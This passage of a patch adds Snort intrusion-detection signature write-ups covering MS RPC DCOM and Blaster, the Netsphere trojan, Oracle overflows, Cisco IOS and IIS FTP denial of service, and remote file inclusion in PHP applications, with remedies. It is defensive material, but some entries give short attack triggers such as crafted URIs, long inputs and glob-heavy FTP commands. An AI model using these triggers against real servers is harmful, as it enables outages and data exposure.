+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3311.txt
+++ snort-2.8.5.2/doc/signatures/3311.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3311
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2493.txt
+++ snort-2.8.5.2/doc/signatures/2493.txt
@@ -0,0 +1,93 @@
+Rule:
+
+--
+Sid:
+2493
+
+--
+Summary:
+This rule no longer generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+This rule now uses flowbits and can be set to generate an event by
+modifying the rule slightly to remove the "flowbits:no_alert;" option.
+When traffic is detected that attempts to bind to the ISystemActivator
+object in MS RPC DCOM communications this rule now activates sids 2351
+and 2352 to detect exploits against this service. Cool huh?
+
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+This vulnerability is also exploited by the Billy/Blaster worm. The worm
+also uses the Trivial File Transfer Protocol (TFTP) to propagate. A 
+number of events generated by this rule may indicate worm activity.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists. This is also exploited by a worm.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+Block access to port 69 used by the worm to propogate.
+
+Block access to port 4444 used by the worm.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/security/bulletin/MS03-026.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
+
+Symantec:
+http://securityresponse.symantec.com/avcenter/venc/data/w32.blaster.worm.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/155.txt
+++ snort-2.8.5.2/doc/signatures/155.txt
@@ -0,0 +1,95 @@
+Rule:
+
+--
+Sid:
+155
+
+--
+Summary:
+Netsphere is a Trojan Horse offering the attacker access to the victims 
+filesystem, instant messaging clients and some control over peripherals.
+This event is generated when a Netsphere server responds to an attackers
+client.
+
+--
+Impact:
+Compromise of data integrity on the victim host as well as the 
+possibility of rendering the machine temporarily unusable.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Netsphere
+sever to programs normally started on boot. Due to the nature of this
+Trojan it is unlikely that the attacker's client IP address has been
+spoofed.
+
+The Trojan also gives the attacker the ability to access the victims 
+filesystem, turn the monitor on and off, control the mouse, access 
+instant messaging applications and render a pentium based machine 
+unusable.
+
+The Trojan is also known to use TCP ports 30100, 30101 and 30102.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is named NetSphereServer.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	NSSX
+
+Removal of this entry is required.
+
+Delete the file NetSphereServer.exe.
+
+Ending the Trojan process is also necessary. A reboot of the infected
+machine is recommended.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS76
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1500.txt
+++ snort-2.8.5.2/doc/signatures/1500.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1500
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2065.txt
+++ snort-2.8.5.2/doc/signatures/2065.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2065
+
+--
+Summary:
+file on a Lotus Domino Server.
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+Certain versions of Lotus Domino web servers do not correctly handle 
+requests for script files not specific to Lotus Domino.
+
+By using a dot in the filename an attacker may view the source of the 
+script and be presented with sensitive information embedded in the 
+script.
+
+--
+Affected Systems:
+Lotus Domino Server 5.0 and 6.0
+
+--
+Attack Scenarios:
+The attacker merely needs to make an HTTP request for the script and add
+a dot to the filename. This can be done using a browser.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor fixes
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/6841
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1512.txt
+++ snort-2.8.5.2/doc/signatures/1512.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1512
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1686.txt
+++ snort-2.8.5.2/doc/signatures/1686.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1686
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1329.txt
+++ snort-2.8.5.2/doc/signatures/1329.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+1329
+
+--
+Summary:
+This event is generated when an attempt is made to access the ps command
+via the web
+
+--
+Impact:
+Attempt to gain information on system processes on webserver
+
+--
+Detailed Information:
+This is an attempt to gain intelligence on the processes being run on a
+webserver. The ps command lists the process status of running processes
+on a UNIX or Linux based system. The attacker could possibly gain
+information needed for other attacks on the system.
+
+Using "ps", the attackers would check for various running system
+services to exploit or for the presence of security software, such as
+host IDS or monitoring scripts. This rule looks for the "ps" command in
+the URI part of the client to web server connection and does not
+indicate whether the command was actually successful in displaying the
+list of processes. The presence of the "ps" command in the URI indicates
+that an attacker attempted to trick the web server into executing system
+commands in non-interactive mode i.e. without a valid shell session.
+
+Alternatively this rule may trigger in an unencrypted HTTP tunneling
+connection to the server or a shell connection via another exploit
+against the web server.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/ps'in
+the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it's designated web root or cgi-bin. This command may also be
+requested on a command line should the attacker gain access to the
+machine. On BSD derived systems, setting the parameter
+"kern.ps_showallprocs" to zero will show only the processes being run by
+that user except for root who will still see all processes.
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional information from Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+sid: 1328
+
+Manual page for ps.
+
+http://linux.about.com/library/cmd/blcmdl1_ps.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1777.txt
+++ snort-2.8.5.2/doc/signatures/1777.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+1777
+--
+Summary:
+This rule detects an attacker executing the STAT command along with file globbing character '*'. This affects Cisco equipment and Microsoft's IIS 4.0, 5.0, and 5.1. 
+
+--
+Impact:
+Severe; this vulnerablity is remotely exploitable, and is present on systems that are widely deployed.
+--
+Detailed Information:
+This rule detects an attacker executing the STAT command along with file globbing character '*'.  There is a vulnerability in Microsofts IIS 4.0, 5.0, and 5.1 servers,  that causes the service to crash once it receives the STAT command along with a large number of file globbing characters.  
+
+VisNetic and Titan FTP servers are also vulnerable to an attack which can present the attacker with the opportunity to break out of the ftp root directory using this command.
+
+--
+Affected Systems:
+Microsoft Internet Information Server 4, 5 and 5.1
+Some versions of Cisco equipment
+VisNetic FTP Server
+Titan FTP Server
+
+--
+Attack Scenarios:
+An attacker logs into a vulnerable hosts and executes the STAT command with multiple file globbing characters.  This would cause the service to crash.
+
+The attacker may also use Nessus to scan for a vulnerable server.
+
+--
+Ease of Attack:
+The attack can be executed with relative ease.
+--
+False Positives:
+None known to date
+--
+False Negatives:
+None known to date.
+--
+Corrective Action:
+Microsoft has released a IIS Security Roll-up Package that addresses this issue.  The Roll-up package can be found at: 
+http://www.microsoft.com/ntserver/nts/downloads/security/q319733/default.asp 
+More information on this package can be found at: 
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-018.asp
+--
+Contributors:
+Sourcefire Research Team
+mike.poor@sourcefire.com
+-- 
+Additional References:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-018.asp
+http://www.microsoft.com/ntserver/nts/downloads/security/q319733/default.asp
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-18.txt
+++ snort-2.8.5.2/doc/signatures/122-18.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-18
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp decoy
+portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000122.txt
+++ snort-2.8.5.2/doc/signatures/100000122.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+100000122
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a buffer overflow in 
+the Macromedia mod_jrun module.
+
+-- 
+
+Impact: 
+The affected server will be crashed, and remote code execution with the 
+privileges of the server is possible.
+
+--
+Detailed Information:
+Specially crafted data which is sent to the vulnerable server that contains a 
+colon followed by 1,000 or more bytes will trigger this buffer overflow. The 
+affected server will crash, and remote code execution with the privileges of 
+the affected server is possible.
+NOTE: This rule may severely impact performance. It is recommended that you 
+disable this rule if you are not running vulnerable software.
+
+--
+Affected Systems:
+Macromedia ColdFusion MX 6.0
+Macromedia ColdFusion MX 6.1
+Macromedia ColdFusion MX J2EE 6.1
+Macromedia JRun 3.0
+Macromedia JRun 3.1
+Macromedia JRun 4.0
+Hitachi Cosminexus Enterprise Enterprise Edition 01-02
+Hitachi Cosminexus Enterprise Enterprise Edition 01-01
+Hitachi Cosminexus Enterprise Standard Edition 01-02
+Hitachi Cosminexus Enterprise Standard Edition 01-01
+Hitachi Cosminexus Server Web Edition 01-02
+Hitachi Cosminexus Server Web Edition 01-01
+
+--
+
+Attack Scenarios: 
+A script must be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as an attack is included as part of the Metasploit vulnerability 
+testing framework.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Patches are available from Macromedia. As a workaround, the vendor suggests 
+disabling the "verbose" debug mode on web server connectors, as it will stop 
+attackers from exploiting this vulnerability.
+
+--
+Contributors: 
+Judy Novak <judy.novak@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2877.txt
+++ snort-2.8.5.2/doc/signatures/2877.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2877
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_site_priority_site
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3126.txt
+++ snort-2.8.5.2/doc/signatures/3126.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3126
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000129.txt
+++ snort-2.8.5.2/doc/signatures/100000129.txt
@@ -0,0 +1,89 @@
+Rule: 
+
+--
+Sid: 
+100000129
+
+-- 
+Summary: 
+This event is generated when a malformed URL is sent to a Cisco IOS HTTP 
+Router, which may cause a denial of service.
+
+-- 
+
+Impact: 
+If a router running a vulnerable version of the IOS HTTP server receives this 
+request, it will fall into an infinite loop, causing a denial of service. The 
+router will restart after two minutes, when the system's watchdog timer 
+realizes that the router has become unresponsive.
+
+--
+Detailed Information:
+If a "?" character immediately follows a "/" character in a URI, vulnerable 
+versions of the Cisco IOS HTTP Router will fall into an infinite loop, causing 
+a denial of service. The router will restart after two minutes, when the 
+system's watchdog timer realizes that the router has become unresponsive.
+
+
+--
+Affected Systems:
+Cisco IOS 12.0 XJ
+Cisco IOS 12.0 XH
+Cisco IOS 12.0 XE
+Cisco IOS 12.0 XA
+Cisco IOS 12.0 W5
+Cisco IOS 12.0 T
+Cisco IOS 12.1 XP
+Cisco IOS 12.1 XL
+Cisco IOS 12.1 XJ
+Cisco IOS 12.1 XI
+Cisco IOS 12.1 XH
+Cisco IOS 12.1 XG
+Cisco IOS 12.1 XF
+Cisco IOS 12.1 XE
+Cisco IOS 12.1 XD
+Cisco IOS 12.1 XC
+Cisco IOS 12.1 XB
+Cisco IOS 12.1 XA
+Cisco IOS 12.1 T
+Cisco IOS 12.1 EC
+Cisco IOS 12.1 E
+Cisco IOS 12.1 DC
+Cisco IOS 12.1 DB
+Cisco IOS 12.1 DA
+Cisco IOS 12.1 AA
+Cisco IOS 12.1
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or a script.
+
+-- 
+
+Ease of Attack: 
+Simple, as it can be exploited using a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Apply the vendor-supplied patch, available at Cisco.com. As a workaround, the 
+IOS HTTP server may be disabled by using the command "no ip http server".
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/430.txt
+++ snort-2.8.5.2/doc/signatures/430.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+430
+
+--
+
+Summary:
+This event is generated when a host generates and ICMP Type 40 Code 1 Authentication Failed datagram.
+
+--
+
+Impact:
+ICMP Type 40 Code 1 datagrams are an indication that a received datagram failed the authenticity or integrity check for a given SPI.  Normally this is an indication that hosts using IP Security Protocols such as AH or ESP have been configured incorrectly or are failing to establish a session with another host.
+
+--
+
+Detailed Information:
+Hosts using IP Security Protocols such as AH or ESP generate ICMP Type 40 datagrams when a failure condition occurs.  ICMP Type 40 Code 1 datagrams are generated when a received datagram failed the authenticity or integrity check for a given SPI (Security Parameters Index).  In some situations this may be an indication that an outer Encapsulation Security Protocol is in use, and the Authentication Header SPI is hidden inside the encapsulation.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 40 datagrams not normally seen on the network.  Currently Sourcefire is unaware of any hardware that has implemented these types of ICMP datagrams.  Hosts generating these types of ICMP datagrams should be investigated for nefarious activity or configuration errors. 
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC2521
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000680.txt
+++ snort-2.8.5.2/doc/signatures/100000680.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000680
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "search.php" using a remote file being passed as the 
+"header_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "header_prog" parameter in the "search.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000607.txt
+++ snort-2.8.5.2/doc/signatures/100000607.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000607
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_add.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "link_add.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
